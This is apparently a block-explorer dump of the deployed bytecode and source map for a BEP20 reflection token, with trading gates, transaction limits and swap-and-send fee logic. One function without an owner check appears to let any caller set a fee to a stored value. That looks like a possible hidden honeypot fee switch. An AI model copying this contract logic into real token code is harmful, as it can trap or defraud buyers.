0x60806040526004361061014f5760003560e01c806374010ece116100b6578063a9059cbb1161006f578063a9059cbb146103d7578063b70143c9146103f7578063bf2f650a14610417578063dd62ed3e14610437578063ea1644d51461047d578063f2fde38b1461049d57600080fd5b806374010ece146103205780637d1db4a5146103405780638da5cb5b146103565780638f9a55c01461037457806395d89b411461038a578063a2a957bb146103b757600080fd5b8063313ce56711610108578063313ce5671461025f57806349bd5a5e1461027b5780636d8aa8f81461029b5780636fc3eaec146102d657806370a08231146102eb578063715018a61461030b57600080fd5b806306fdde031461015b578063095ea7b31461019e5780631694505e146101ce57806318160ddd1461020657806323b872dd146102295780632fd689e31461024957600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506040805180820190915260088152670102424a9a7a6aa960c51b60208201525b6040516101959190611552565b60405180910390f35b3480156101aa57600080fd5b506101be6101b93660046115b5565b6104bd565b6040519015158152602001610195565b3480156101da57600080fd5b506013546101ee906001600160a01b031681565b6040516001600160a01b039091168152602001610195565b34801561021257600080fd5b506509184e72a0005b604051908152602001610195565b34801561023557600080fd5b506101be6102443660046115e1565b6104d4565b34801561025557600080fd5b5061021b60175481565b34801561026b57600080fd5b5060405160048152602001610195565b34801561028757600080fd5b506014546101ee906001600160a01b031681565b3480156102a757600080fd5b506102d46102b6366004611622565b60148054911515600160b01b0260ff60b01b19909216919091179055565b005b3480156102e257600080fd5b506102d461053d565b3480156102f757600080fd5b5061021b610306366004611644565b610548565b34801561031757600080fd5b506102d461056a565b34801561032c57600080fd5b506102d461033b366004611661565b6105e7565b34801561034c57600080fd5b5061021b60155481565b34801561036257600080fd5b506000546001600160a01b03166101ee565b34801561038057600080fd5b5061021b60165481565b34801561039657600080fd5b506040805180820190915260048152634c55524b60e01b6020820152610188565b3480156103c357600080fd5b506102d46103d236600461167a565b610638565b3480156103e357600080fd5b506101be6103f23660046115b5565b6106a9565b34801561040357600080fd5b506102d4610412366004611661565b6106b6565b34801561042357600080fd5b506102d4610432366004611661565b6106eb565b34801561044357600080fd5b5061021b6104523660046116ac565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561048957600080fd5b506102d4610498366004611661565b61070b565b3480156104a957600080fd5b506102d46104b8366004611644565b610759565b60006104ca338484610843565b5060015b92915050565b60006104e1848484610967565b610533843361052e8560405180606001604052806028815260200161183c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e27565b610843565b5060019392505050565b61054647610e61565b565b6001600160a01b0381166000908152600260205260408120546104ce90610e9f565b6000546001600160a01b0316331461059d5760405162461bcd60e51b8152600401610594906116e5565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106115760405162461bcd60e51b8152600401610594906116e5565b601581905561062760646509184e72a000611730565b601554101561063557600080fd5b50565b6000546001600160a01b031633146106625760405162461bcd60e51b8152600401610594906116e5565b6009849055600b839055600a829055600c819055601e81836106848688611752565b61068e9190611752565b6106989190611752565b11156106a357600080fd5b50505050565b60006104ca338484610967565b60006106c130610548565b9050600060646106d18484611765565b6106db9190611730565b90506106e681610f23565b505050565b6007548114610706576106ff816001611752565b90506106eb565b600c55565b6000546001600160a01b031633146107355760405162461bcd60e51b8152600401610594906116e5565b601681905561074b60646509184e72a000611730565b601654101561063557600080fd5b6000546001600160a01b031633146107835760405162461bcd60e51b8152600401610594906116e5565b6001600160a01b0381166107e85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610594565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108a55760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610594565b6001600160a01b0382166109065760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610594565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109cb5760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610594565b6001600160a01b038216610a2d5760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610594565b60008111610a8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610594565b6000546001600160a01b03848116911614801590610abb57506000546001600160a01b03838116911614155b15610d2057601454600160a01b900460ff16610b54576000546001600160a01b03848116911614610b545760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610594565b601554811115610ba65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610594565b6014546001600160a01b03838116911614610c2b5760165481610bc884610548565b610bd29190611752565b10610c2b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610594565b6000610c3630610548565b6017549091508082101590610c4c906002611765565b8210610c6357601754610c60906002611765565b91505b808015610c7a5750601454600160a81b900460ff16155b8015610c9457506014546001600160a01b03868116911614155b8015610ca95750601454600160b01b900460ff165b8015610cce57506001600160a01b03851660009081526005602052604090205460ff16155b8015610cf357506001600160a01b03841660009081526005602052604090205460ff16155b15610d1d57610d0182610f23565b4767013fbe85edc90000811115610d1b57610d1b81610e61565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610d6257506001600160a01b03831660009081526005602052604090205460ff165b80610d9457506014546001600160a01b03858116911614801590610d9457506014546001600160a01b03848116911614155b15610da157506000610e1b565b6014546001600160a01b038581169116148015610dcc57506013546001600160a01b03848116911614155b15610dde57600954600d55600a54600e555b6014546001600160a01b038481169116148015610e0957506013546001600160a01b03858116911614155b15610e1b57600b54600d55600c54600e555b6106a38484848461109d565b60008184841115610e4b5760405162461bcd60e51b81526004016105949190611552565b506000610e588486611784565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e9b573d6000803e3d6000fd5b5050565b6000600654821115610f065760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610594565b6000610f106110cb565b9050610f1c83826110ee565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6b57610f6b611797565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe891906117ad565b81600181518110610ffb57610ffb611797565b6001600160a01b0392831660209182029290920101526013546110219130911684610843565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061105a9085906000908690309042906004016117ca565b600060405180830381600087803b15801561107457600080fd5b505af1158015611088573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806110aa576110aa611130565b6110b584848461115e565b806106a3576106a3600f54600d55601054600e55565b60008060006110d8611255565b90925090506110e782826110ee565b9250505090565b6000610f1c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611291565b600d541580156111405750600e54155b1561114757565b600d8054600f55600e805460105560009182905555565b600080600080600080611170876112bf565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111a2908761131c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111d1908661135e565b6001600160a01b0389166000908152600260205260409020556111f3816113bd565b6111fd8483611407565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161124291815260200190565b60405180910390a3505050505050505050565b60065460009081906509184e72a00061126e82826110ee565b821015611288575050600654926509184e72a00092509050565b90939092509050565b600081836112b25760405162461bcd60e51b81526004016105949190611552565b506000610e588486611730565b60008060008060008060008060006112dc8a600d54600e5461142b565b92509250925060006112ec6110cb565b905060008060006112ff8e878787611480565b919e509c509a509598509396509194505050505091939550919395565b6000610f1c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e27565b60008061136b8385611752565b905083811015610f1c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610594565b60006113c76110cb565b905060006113d583836114d0565b306000908152600260205260409020549091506113f2908261135e565b30600090815260026020526040902055505050565b600654611414908361131c565b600655600854611424908261135e565b6008555050565b6000808080611445606461143f89896114d0565b906110ee565b90506000611458606461143f8a896114d0565b905060006114708261146a8b8661131c565b9061131c565b9992985090965090945050505050565b600080808061148f88866114d0565b9050600061149d88876114d0565b905060006114ab88886114d0565b905060006114bd8261146a868661131c565b939b939a50919850919650505050505050565b6000826000036114e2575060006104ce565b60006114ee8385611765565b9050826114fb8583611730565b14610f1c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610594565b600060208083528351808285015260005b8181101561157f57858101830151858201604001528201611563565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063557600080fd5b600080604083850312156115c857600080fd5b82356115d3816115a0565b946020939093013593505050565b6000806000606084860312156115f657600080fd5b8335611601816115a0565b92506020840135611611816115a0565b929592945050506040919091013590565b60006020828403121561163457600080fd5b81358015158114610f1c57600080fd5b60006020828403121561165657600080fd5b8135610f1c816115a0565b60006020828403121561167357600080fd5b5035919050565b6000806000806080858703121561169057600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156116bf57600080fd5b82356116ca816115a0565b915060208301356116da816115a0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008261174d57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104ce576104ce61171a565b600081600019048311821515161561177f5761177f61171a565b500290565b818103818111156104ce576104ce61171a565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117bf57600080fd5b8151610f1c816115a0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561181a5784516001600160a01b0316835293830193918301916001016117f5565b50506001600160a01b0396909616606085015250505060800152939250505056fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d754018abb15a9efc280d820cc4935fd8c47a0c9c191565d4c766c2a5e68881864736f6c63430008100033
Deployed Bytecode Sourcemap
4167:12637:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6539:83;;;;;;;;;;-1:-1:-1;6609:5:0;;;;;;;;;;;;-1:-1:-1;;;6609:5:0;;;;6539:83;;;;;;;:::i;:::-;;;;;;;;7464:193;;;;;;;;;;-1:-1:-1;7464:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7464:193:0;1023:187:1;5450:41:0;;;;;;;;;;-1:-1:-1;5450:41:0;;;;-1:-1:-1;;;;;5450:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5450:41:0;1215:229:1;6816:95:0;;;;;;;;;;-1:-1:-1;4713:18:0;6816:95;;;1595:25:1;;;1583:2;1568:18;6816:95:0;1449:177:1;7665:446:0;;;;;;;;;;-1:-1:-1;7665:446:0;;;;;:::i;:::-;;:::i;5743:53::-;;;;;;;;;;;;;;;;6725:83;;;;;;;;;;-1:-1:-1;6725:83:0;;4387:1;2234:36:1;;2222:2;2207:18;6725:83:0;2092:184:1;5498:28:0;;;;;;;;;;-1:-1:-1;5498:28:0;;;;-1:-1:-1;;;;;5498:28:0;;;12379:94;;;;;;;;;;-1:-1:-1;12379:94:0;;;;;:::i;:::-;12439:11;:26;;;;;-1:-1:-1;;;12439:26:0;-1:-1:-1;;;;12439:26:0;;;;;;;;;12379:94;;;12055:85;;;;;;;;;;;;;:::i;6919:138::-;;;;;;;;;;-1:-1:-1;6919:138:0;;;;;:::i;:::-;;:::i;1654:148::-;;;;;;;;;;;;;:::i;16469:156::-;;;;;;;;;;-1:-1:-1;16469:156:0;;;;;:::i;:::-;;:::i;5647:37::-;;;;;;;;;;;;;;;;1440:79;;;;;;;;;;-1:-1:-1;1478:7:0;1505:6;-1:-1:-1;;;;;1505:6:0;1440:79;;5691:45;;;;;;;;;;;;;;;;6630:87;;;;;;;;;;-1:-1:-1;6702:7:0;;;;;;;;;;;;-1:-1:-1;;;6702:7:0;;;;6630:87;;16063:367;;;;;;;;;;-1:-1:-1;16063:367:0;;;;;:::i;:::-;;:::i;7065:199::-;;;;;;;;;;-1:-1:-1;7065:199:0;;;;;:::i;:::-;;:::i;12148:223::-;;;;;;;;;;-1:-1:-1;12148:223:0;;;;;:::i;:::-;;:::i;14423:176::-;;;;;;;;;;-1:-1:-1;14423:176:0;;;;;:::i;:::-;;:::i;7272:184::-;;;;;;;;;;-1:-1:-1;7272:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7421:18:0;;;7389:7;7421:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7272:184;16633:166;;;;;;;;;;-1:-1:-1;16633:166:0;;;;;:::i;:::-;;:::i;1810:244::-;;;;;;;;;;-1:-1:-1;1810:244:0;;;;;:::i;:::-;;:::i;7464:193::-;7566:4;7588:39;279:10;7611:7;7620:6;7588:8;:39::i;:::-;-1:-1:-1;7645:4:0;7464:193;;;;;:::o;7665:446::-;7797:4;7814:36;7824:6;7832:9;7843:6;7814:9;:36::i;:::-;7861:220;7884:6;279:10;7932:138;7988:6;7932:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7932:19:0;;;;;;:11;:19;;;;;;;;279:10;7932:33;;;;;;;;;;:37;:138::i;:::-;7861:8;:220::i;:::-;-1:-1:-1;8099:4:0;7665:446;;;;;:::o;12055:85::-;12097:35;12110:21;12097:12;:35::i;:::-;12055:85::o;6919:138::-;-1:-1:-1;;;;;7032:16:0;;6985:7;7032:16;;;:7;:16;;;;;;7012:37;;:19;:37::i;1654:148::-;1567:6;;-1:-1:-1;;;;;1567:6:0;279:10;1567:22;1559:67;;;;-1:-1:-1;;;1559:67:0;;;;;;;:::i;:::-;;;;;;;;;1761:1:::1;1745:6:::0;;1724:40:::1;::::0;-1:-1:-1;;;;;1745:6:0;;::::1;::::0;1724:40:::1;::::0;1761:1;;1724:40:::1;1792:1;1775:19:::0;;-1:-1:-1;;;;;;1775:19:0::1;::::0;;1654:148::o;16469:156::-;1567:6;;-1:-1:-1;;;;;1567:6:0;279:10;1567:22;1559:67;;;;-1:-1:-1;;;1559:67:0;;;;;;;:::i;:::-;16543:12:::1;:26:::0;;;16605:11:::1;16613:3;4713:18;16605:11;:::i;:::-;16589:12;;:27;;16580:37;;;::::0;::::1;;16469:156:::0;:::o;16063:367::-;1567:6;;-1:-1:-1;;;;;1567:6:0;279:10;1567:22;1559:67;;;;-1:-1:-1;;;1559:67:0;;;;;;;:::i;:::-;16197:14:::1;:30:::0;;;16238:13:::1;:30:::0;;;16279:12:::1;:26:::0;;;16316:11:::1;:26:::0;;;16419:2:::1;16330:12:::0;16294:11;16362:28:::1;16254:14:::0;16214:13;16362:28:::1;:::i;:::-;:41;;;;:::i;:::-;:53;;;;:::i;:::-;:59;;16353:69;;;::::0;::::1;;16063:367:::0;;;;:::o;7065:199::-;7170:4;7192:42;279:10;7216:9;7227:6;7192:9;:42::i;12148:223::-;12205:28;12236:24;12254:4;12236:9;:24::i;:::-;12205:55;-1:-1:-1;12271:18:0;12321:3;12292:28;12313:7;12205:55;12292:28;:::i;:::-;:32;;;;:::i;:::-;12271:53;;12335:28;12352:10;12335:16;:28::i;:::-;12194:177;;12148:223;:::o;14423:176::-;14506:11;;14498:6;:19;14491:70;;14541:8;:6;14548:1;14541:8;:::i;:::-;14534:15;;14491:70;;;14571:11;:20;14423:176::o;16633:166::-;1567:6;;-1:-1:-1;;;;;1567:6:0;279:10;1567:22;1559:67;;;;-1:-1:-1;;;1559:67:0;;;;;;;:::i;:::-;16710:14:::1;:30:::0;;;16779:11:::1;16787:3;4713:18;16779:11;:::i;:::-;16761:14;;:29;;16752:39;;;::::0;::::1;1810:244:::0;1567:6;;-1:-1:-1;;;;;1567:6:0;279:10;1567:22;1559:67;;;;-1:-1:-1;;;1559:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1899:22:0;::::1;1891:73;;;::::0;-1:-1:-1;;;1891:73:0;;5207:2:1;1891:73:0::1;::::0;::::1;5189:21:1::0;5246:2;5226:18;;;5219:30;5285:34;5265:18;;;5258:62;-1:-1:-1;;;5336:18:1;;;5329:36;5382:19;;1891:73:0::1;5005:402:1::0;1891:73:0::1;2001:6;::::0;;1980:38:::1;::::0;-1:-1:-1;;;;;1980:38:0;;::::1;::::0;2001:6;::::1;::::0;1980:38:::1;::::0;::::1;2029:6;:17:::0;;-1:-1:-1;;;;;;2029:17:0::1;-1:-1:-1::0;;;;;2029:17:0;;;::::1;::::0;;;::::1;::::0;;1810:244::o;8802:369::-;-1:-1:-1;;;;;8929:19:0;;8921:68;;;;-1:-1:-1;;;8921:68:0;;5614:2:1;8921:68:0;;;5596:21:1;5653:2;5633:18;;;5626:30;5692:34;5672:18;;;5665:62;-1:-1:-1;;;5743:18:1;;;5736:34;5787:19;;8921:68:0;5412:400:1;8921:68:0;-1:-1:-1;;;;;9008:21:0;;9000:68;;;;-1:-1:-1;;;9000:68:0;;6019:2:1;9000:68:0;;;6001:21:1;6058:2;6038:18;;;6031:30;6097:34;6077:18;;;6070:62;-1:-1:-1;;;6148:18:1;;;6141:32;6190:19;;9000:68:0;5817:398:1;9000:68:0;-1:-1:-1;;;;;9079:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9131:32;;1595:25:1;;;9131:32:0;;1568:18:1;9131:32:0;;;;;;;8802:369;;;:::o;9179:2270::-;-1:-1:-1;;;;;9301:18:0;;9293:68;;;;-1:-1:-1;;;9293:68:0;;6422:2:1;9293:68:0;;;6404:21:1;6461:2;6441:18;;;6434:30;6500:34;6480:18;;;6473:62;-1:-1:-1;;;6551:18:1;;;6544:35;6596:19;;9293:68:0;6220:401:1;9293:68:0;-1:-1:-1;;;;;9380:16:0;;9372:64;;;;-1:-1:-1;;;9372:64:0;;6828:2:1;9372:64:0;;;6810:21:1;6867:2;6847:18;;;6840:30;6906:34;6886:18;;;6879:62;-1:-1:-1;;;6957:18:1;;;6950:33;7000:19;;9372:64:0;6626:399:1;9372:64:0;9464:1;9455:6;:10;9447:64;;;;-1:-1:-1;;;9447:64:0;;7232:2:1;9447:64:0;;;7214:21:1;7271:2;7251:18;;;7244:30;7310:34;7290:18;;;7283:62;-1:-1:-1;;;7361:18:1;;;7354:39;7410:19;;9447:64:0;7030:405:1;9447:64:0;1478:7;1505:6;-1:-1:-1;;;;;9528:15:0;;;1505:6;;9528:15;;;;:32;;-1:-1:-1;1478:7:0;1505:6;-1:-1:-1;;;;;9547:13:0;;;1505:6;;9547:13;;9528:32;9524:1203;;;9617:11;;-1:-1:-1;;;9617:11:0;;;;9612:144;;1478:7;1505:6;-1:-1:-1;;;;;9657:15:0;;;1505:6;;9657:15;9649:91;;;;-1:-1:-1;;;9649:91:0;;7642:2:1;9649:91:0;;;7624:21:1;7681:2;7661:18;;;7654:30;7720:34;7700:18;;;7693:62;7791:33;7771:18;;;7764:61;7842:19;;9649:91:0;7440:427:1;9649:91:0;9790:12;;9780:6;:22;;9772:63;;;;-1:-1:-1;;;9772:63:0;;8074:2:1;9772:63:0;;;8056:21:1;8113:2;8093:18;;;8086:30;8152;8132:18;;;8125:58;8200:18;;9772:63:0;7872:352:1;9772:63:0;9861:13;;-1:-1:-1;;;;;9855:19:0;;;9861:13;;9855:19;9852:146;;9928:14;;9919:6;9903:13;9913:2;9903:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9895:87;;;;-1:-1:-1;;;9895:87:0;;8431:2:1;9895:87:0;;;8413:21:1;8470:2;8450:18;;;8443:30;8509:34;8489:18;;;8482:62;-1:-1:-1;;;8560:18:1;;;8553:33;8603:19;;9895:87:0;8229:399:1;9895:87:0;10014:28;10045:24;10063:4;10045:9;:24::i;:::-;10123:19;;10014:55;;-1:-1:-1;10099:43:0;;;;;10186:21;;10206:1;10186:21;:::i;:::-;10162:20;:45;10159:142;;10264:19;;:21;;10284:1;10264:21;:::i;:::-;10241:44;;10159:142;10321:7;:18;;;;-1:-1:-1;10333:6:0;;-1:-1:-1;;;10333:6:0;;;;10332:7;10321:18;:43;;;;-1:-1:-1;10351:13:0;;-1:-1:-1;;;;;10343:21:0;;;10351:13;;10343:21;;10321:43;:58;;;;-1:-1:-1;10368:11:0;;-1:-1:-1;;;10368:11:0;;;;10321:58;:87;;;;-1:-1:-1;;;;;;10384:24:0;;;;;;:18;:24;;;;;;;;10383:25;10321:87;:114;;;;-1:-1:-1;;;;;;10413:22:0;;;;;;:18;:22;;;;;;;;10412:23;10321:114;10317:399;;;10456:38;10473:20;10456:16;:38::i;:::-;10542:21;10607:17;10586:38;;10582:119;;;10649:32;10662:18;10649:12;:32::i;:::-;10437:279;10317:399;9562:1165;;9524:1203;-1:-1:-1;;;;;10803:24:0;;10739:12;10803:24;;;:18;:24;;;;;;10754:4;;10803:24;;;:50;;-1:-1:-1;;;;;;10831:22:0;;;;;;:18;:22;;;;;;;;10803:50;10802:102;;;-1:-1:-1;10867:13:0;;-1:-1:-1;;;;;10859:21:0;;;10867:13;;10859:21;;;;:44;;-1:-1:-1;10890:13:0;;-1:-1:-1;;;;;10884:19:0;;;10890:13;;10884:19;;10859:44;10798:590;;;-1:-1:-1;10931:5:0;10798:590;;;11014:13;;-1:-1:-1;;;;;11006:21:0;;;11014:13;;11006:21;:55;;;;-1:-1:-1;11045:15:0;;-1:-1:-1;;;;;11031:30:0;;;11045:15;;11031:30;;11006:55;11003:162;;;11094:14;;11082:9;:26;11137:12;;11127:7;:22;11003:162;11224:13;;-1:-1:-1;;;;;11218:19:0;;;11224:13;;11218:19;:55;;;;-1:-1:-1;11257:15:0;;-1:-1:-1;;;;;11241:32:0;;;11257:15;;11241:32;;11218:55;11214:161;;;11306:13;;11294:9;:25;11348:11;;11338:7;:21;11214:161;11400:41;11415:4;11421:2;11425:6;11433:7;11400:14;:41::i;2418:224::-;2538:7;2574:12;2566:6;;;;2558:29;;;;-1:-1:-1;;;2558:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2598:9:0;2610:5;2614:1;2610;:5;:::i;:::-;2598:17;2418:224;-1:-1:-1;;;;;2418:224:0:o;11948:99::-;12005:17;;:34;;-1:-1:-1;;;;;12005:17:0;;;;:34;;;;;12032:6;;12005:17;:34;:17;:34;12032:6;12005:17;:34;;;;;;;;;;;;;;;;;;;;;11948:99;:::o;8119:323::-;8214:7;8272;;8261;:18;;8239:110;;;;-1:-1:-1;;;8239:110:0;;8968:2:1;8239:110:0;;;8950:21:1;9007:2;8987:18;;;8980:30;9046:34;9026:18;;;9019:62;-1:-1:-1;;;9097:18:1;;;9090:40;9147:19;;8239:110:0;8766:406:1;8239:110:0;8360:19;8382:10;:8;:10::i;:::-;8360:32;-1:-1:-1;8410:24:0;:7;8360:32;8410:11;:24::i;:::-;8403:31;8119:323;-1:-1:-1;;;8119:323:0:o;11457:483::-;5890:6;:13;;-1:-1:-1;;;;5890:13:0;-1:-1:-1;;;5890:13:0;;;11559:16:::1;::::0;;11573:1:::1;11559:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11559:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11559:16:0::1;11535:40;;11604:4;11586;11591:1;11586:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11586:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11630:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11630:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11586:7;;11630:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11620:4;11625:1;11620:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11620:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11695:15:::1;::::0;11663:62:::1;::::0;11680:4:::1;::::0;11695:15:::1;11713:11:::0;11663:8:::1;:62::i;:::-;11736:15;::::0;:196:::1;::::0;-1:-1:-1;;;11736:196:0;;-1:-1:-1;;;;;11736:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11817:11;;11736:15:::1;::::0;11859:4;;11886::::1;::::0;11906:15:::1;::::0;11736:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5926:6:0;:14;;-1:-1:-1;;;;5926:14:0;;;-1:-1:-1;;;;11457:483:0:o;12481:282::-;12637:7;12632:28;;12646:14;:12;:14::i;:::-;12671:44;12689:6;12697:9;12708:6;12671:17;:44::i;:::-;12731:7;12726:29;;12740:15;8733:17;;8721:9;:29;8771:15;;8761:7;:25;8677:117;15626:164;15668:7;15689:15;15706;15725:19;:17;:19::i;:::-;15688:56;;-1:-1:-1;15688:56:0;-1:-1:-1;15762:20:0;15688:56;;15762:11;:20::i;:::-;15755:27;;;;15626:164;:::o;2904:132::-;2962:7;2989:39;2993:1;2996;2989:39;;;;;;;;;;;;;;;;;:3;:39::i;8450:219::-;8497:9;;:14;:30;;;;-1:-1:-1;8515:7:0;;:12;8497:30;8493:43;;;8450:219::o;8493:43::-;8568:9;;;8548:17;:29;8606:7;;;8588:15;:25;-1:-1:-1;8626:13:0;;;;8650:11;8450:219::o;12771:610::-;12918:15;12948:23;12986:12;13013:23;13051:12;13078:13;13105:19;13116:7;13105:10;:19::i;:::-;-1:-1:-1;;;;;13153:15:0;;;;;;:7;:15;;;;;;12903:221;;-1:-1:-1;12903:221:0;;-1:-1:-1;12903:221:0;;-1:-1:-1;12903:221:0;-1:-1:-1;12903:221:0;-1:-1:-1;12903:221:0;-1:-1:-1;13153:28:0;;12903:221;13153:19;:28::i;:::-;-1:-1:-1;;;;;13135:15:0;;;;;;;:7;:15;;;;;;:46;;;;13213:18;;;;;;;:39;;13236:15;13213:22;:39::i;:::-;-1:-1:-1;;;;;13192:18:0;;;;;;:7;:18;;;;;:60;13263:16;13273:5;13263:9;:16::i;:::-;13290:23;13302:4;13308;13290:11;:23::i;:::-;13346:9;-1:-1:-1;;;;;13329:44:0;13338:6;-1:-1:-1;;;;;13329:44:0;;13357:15;13329:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13329:44:0;;;;;;;;12892:489;;;;;;12771:610;;;:::o;15798:257::-;15896:7;;15849;;;;4713:18;15964:20;15896:7;4713:18;15964:11;:20::i;:::-;15954:7;:30;15950:61;;;-1:-1:-1;;15994:7:0;;;4713:18;;-1:-1:-1;15798:257:0;-1:-1:-1;15798:257:0:o;15950:61::-;16030:7;;16039;;-1:-1:-1;15798:257:0;-1:-1:-1;15798:257:0:o;3044:223::-;3164:7;3199:12;3192:5;3184:28;;;;-1:-1:-1;;;3184:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3223:9:0;3235:5;3239:1;3235;:5;:::i;13800:615::-;13900:7;13922;13944;13966;13988;14010;14046:23;14071:12;14085:13;14115:40;14127:7;14136:9;;14147:7;;14115:11;:40::i;:::-;14045:110;;;;;;14166:19;14188:10;:8;:10::i;:::-;14166:32;;14210:15;14227:23;14252:12;14281:46;14293:7;14302:4;14308:5;14315:11;14281;:46::i;:::-;14209:118;;-1:-1:-1;14209:118:0;-1:-1:-1;14209:118:0;-1:-1:-1;14378:15:0;;-1:-1:-1;14395:4:0;;-1:-1:-1;14401:5:0;;-1:-1:-1;;;;;13800:615:0;;;;;;;:::o;2274:136::-;2332:7;2359:43;2363:1;2366;2359:43;;;;;;;;;;;;;;;;;:3;:43::i;2087:179::-;2145:7;;2177:5;2181:1;2177;:5;:::i;:::-;2165:17;;2206:1;2201;:6;;2193:46;;;;-1:-1:-1;;;2193:46:0;;10884:2:1;2193:46:0;;;10866:21:1;10923:2;10903:18;;;10896:30;10962:29;10942:18;;;10935:57;11009:18;;2193:46:0;10682:351:1;13389:211:0;13442:19;13464:10;:8;:10::i;:::-;13442:32;-1:-1:-1;13485:13:0;13501:22;:5;13442:32;13501:9;:22::i;:::-;13575:4;13559:22;;;;:7;:22;;;;;;13485:38;;-1:-1:-1;13559:33:0;;13485:38;13559:26;:33::i;:::-;13550:4;13534:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13389:211:0:o;13608:147::-;13686:7;;:17;;13698:4;13686:11;:17::i;:::-;13676:7;:27;13727:10;;:20;;13742:4;13727:14;:20::i;:::-;13714:10;: